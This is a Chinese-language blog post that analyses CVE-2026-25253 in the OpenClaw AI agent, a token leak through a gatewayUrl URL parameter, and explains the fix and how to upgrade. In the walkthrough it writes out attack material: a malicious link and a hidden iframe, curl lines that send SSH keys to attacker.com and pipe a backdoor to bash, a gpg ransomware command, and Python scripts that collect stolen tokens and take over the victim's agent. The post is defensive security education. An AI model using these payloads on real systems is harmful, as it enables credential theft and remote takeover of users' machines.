OpenClaw(前身是 Clawdbot/Moltbot)最近火得一塌糊涂。GitHub 星数飙升到 149k,大家都在感叹终于有个开源版的"贾维斯"了。你可以让它帮你发邮件、整理文件、甚至控制智能家居。但就在几天前,爆出的 CVE-2026-25253 漏洞给这股热潮浇了一盆冷水。

CVSS 评分 8.8,高危。

简单说,如果你在用老版本的 OpenClaw,黑客只要发给你一个链接,你点开,你的电脑可能就归他了。

漏洞到底是怎么回事?

这个漏洞的核心在于 Web UI 和本地服务之间的信任机制崩了。OpenClaw 的控制面板(Control UI)会直接读取 URL 里的 gatewayUrl 参数,然后尝试建立 WebSocket 连接。这本身听起来是为了方便——点个链接就能自动配置——但在安全上简直是灾难。

让我们看看问题代码的逻辑(简化版):

// 前端初始化逻辑
const params = new URLSearchParams(window.location.search);
const gatewayUrl = params.get('gatewayUrl') || localStorage.getItem('gatewayUrl');

if (gatewayUrl) {
  const token = localStorage.getItem('authToken');
  // 问题就在这里:直接把 token 发给了 URL 参数指定的地址
  const ws = new WebSocket(gatewayUrl);
  ws.onopen = () => {
    ws.send(JSON.stringify({ type: 'auth', token: token }));
  };
}

看出问题了吗?代码从 URL 参数里读取 gatewayUrl,然后毫无防备地把本地存储的 authToken 发送过去。开发者的初衷可能是让用户方便地切换不同的网关服务器,但这给攻击者开了一扇大门。

攻击者可以构造一个恶意链接:

http://localhost:3000/?gatewayUrl=ws://attacker-server.com:8080

当你点击这个链接,或者访问了一个嵌入了恶意 iframe 的网页,你本地运行的 OpenClaw 客户端就会乖乖地把你的 WebSocket 连接 Token 发送给攻击者的服务器。拿到了这个 Token,攻击者就能连接你真正的本地 Agent。

这不只是"看看聊天记录"那么简单

更糟糕的是,OpenClaw 的设计初衷就是为了"执行任务"。看看它的能力清单:

  • 文件系统访问:读写任意文件(取决于运行权限)
  • Shell 命令执行:可以运行 bash/zsh 命令
  • 浏览器控制:自动化网页操作
  • API 调用:代表你访问各种在线服务
  • 消息代理:接入 WhatsApp、Telegram、iMessage

这意味着攻击者不仅能看你的聊天记录,还能在你电脑上执行任意代码(RCE)。他们可以:

# 窃取你的 SSH 私钥
cat ~/.ssh/id_rsa | curl -X POST -d @- https://attacker.com/collect

# 安装后门
curl https://attacker.com/backdoor.sh | bash

# 加密你的文件勒索
find ~/Documents -name "*.pdf" -exec gpg --encrypt --recipient attacker@email.com {} \;

# 利用你的 Agent 发送钓鱼消息给你的联系人
# (因为 OpenClaw 可以接入 WhatsApp/Telegram)

这不再是简单的隐私泄露,而是把家门钥匙直接交出去了。

攻击场景复盘

让我们模拟一个完整的攻击场景:

第一步:投放诱饵

攻击者在 Reddit 的 r/LocalLLaMA 或者 Discord 的 AI 技术群里发帖:

“分享一个 OpenClaw 的自定义 Dashboard 主题,超好看!点这里预览:http://my-theme-site.com/preview

这个链接指向攻击者的网站,页面里嵌入了一个隐藏的 iframe:

<iframe src="http://localhost:3000/?gatewayUrl=ws://attacker.com:9999" 
        style="display:none;"></iframe>

第二步:Token 泄露

当受害者访问这个网页,浏览器会加载 iframe。因为目标是 localhost,同源策略不会阻止这个请求。OpenClaw 的前端代码执行,读取到恶意的 gatewayUrl,然后把 Token 发送到攻击者的 WebSocket 服务器。

攻击者的服务器代码可能长这样:

import asyncio
import websockets

stolen_tokens = []

async def handler(websocket, path):
    async for message in websocket:
        data = json.loads(message)
        if data.get('type') == 'auth':
            stolen_tokens.append(data.get('token'))
            print(f"[+] Got token: {data.get('token')[:20]}...")
            # 记录受害者 IP
            print(f"[+] Victim IP: {websocket.remote_address}")

asyncio.run(websockets.serve(handler, "0.0.0.0", 9999))

第三步:接管 Agent

有了 Token,攻击者现在可以直接连接受害者的本地网关:

import websockets
import json

async def pwn_victim(victim_ip, stolen_token):
    # 连接受害者的真实网关
    uri = f"ws://{victim_ip}:3000/ws"
    async with websockets.connect(uri) as ws:
        # 用偷来的 Token 认证
        await ws.send(json.dumps({"type": "auth", "token": stolen_token}))
        
        # 执行恶意命令
        await ws.send(json.dumps({
            "type": "execute",
            "command": "cat /etc/passwd && whoami && id"
        }))
        
        response = await ws.recv()
        print(f"[+] Command output: {response}")

整个过程可能不到 10 秒。受害者可能只是觉得"那个主题预览页面好像没加载出来",然后关掉了网页。他不知道的是,他的电脑已经沦陷了。

为什么本地服务也不安全?

很多开发者(包括我自己)在写本地服务时,脑子里有个预设:

“既然跑在 localhost,那只有用户自己能访问,不需要太复杂的鉴权。”

这种想法错得离谱。

浏览器是连接内网和公网的桥梁。虽然有同源策略(SOP)保护,但它的防护范围有限:

  1. WebSocket 不受 SOP 完全保护:虽然浏览器会发送 Origin 头,但如果服务端不校验,连接照样建立。
  2. DNS Rebinding:攻击者可以操控 DNS,让域名先解析到他的服务器,再解析到 127.0.0.1,绕过同源检查。
  3. CSRF 变种:通过 iframe、img 标签等方式触发对 localhost 的请求。

OpenClaw 的这次漏洞,本质上是前端代码没有校验 gatewayUrl 的来源。它应该做的是:

// 修复后的逻辑
const params = new URLSearchParams(window.location.search);
const gatewayUrl = params.get('gatewayUrl');

// 白名单校验
const allowedGateways = ['ws://localhost:3000', 'ws://127.0.0.1:3000'];
if (gatewayUrl && !allowedGateways.includes(gatewayUrl)) {
  console.error('Untrusted gateway URL rejected');
  return;
}

// 或者更好的方式:根本不从 URL 参数读取敏感配置

这次修复做了什么?

OpenClaw 在 v2026.1.29 版本中修复了这个漏洞。根据 GitHub 的 commit 记录,主要改动包括:

  1. 移除了从 URL 参数读取 gatewayUrl 的功能:现在只能通过设置页面手动配置网关地址。
  2. 增加了 Origin 校验:WebSocket 服务端现在会检查连接请求的 Origin 头,拒绝非本地来源。
  3. Token 绑定:Token 现在和创建时的 IP 地址绑定,即使泄露了,也无法从其他 IP 使用。

对我们的启示

我们在追求 AI Agent "全能"的同时,往往忽略了权限边界。一个能帮我点外卖、发邮件的 Agent,理应拥有很高的系统权限。但如果这个高权限的入口没有守好,它就是植入系统的完美后门。

几条经验教训:

  1. 永远不要信任来自 URL 的敏感参数:尤其是涉及到认证、连接配置的内容。
  2. 本地服务也要做鉴权:把 localhost 当公网服务来防御。
  3. 最小权限原则:Agent 真的需要 root 权限吗?真的需要访问整个文件系统吗?
  4. 定期更新:安全补丁出来了,第一时间打上。

如果你还在用旧版本的 OpenClaw,现在就去升级。

# 检查当前版本
docker exec openclaw cat /app/package.json | grep version

# 拉取最新镜像
docker pull openclaw/openclaw:latest

# 重新部署
docker-compose down && docker-compose up -d

别让你的贾维斯,变成了别人的僵尸网络节点。这次是 OpenClaw,下一个可能是你正在用的另一个工具。保持警惕,保持更新。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐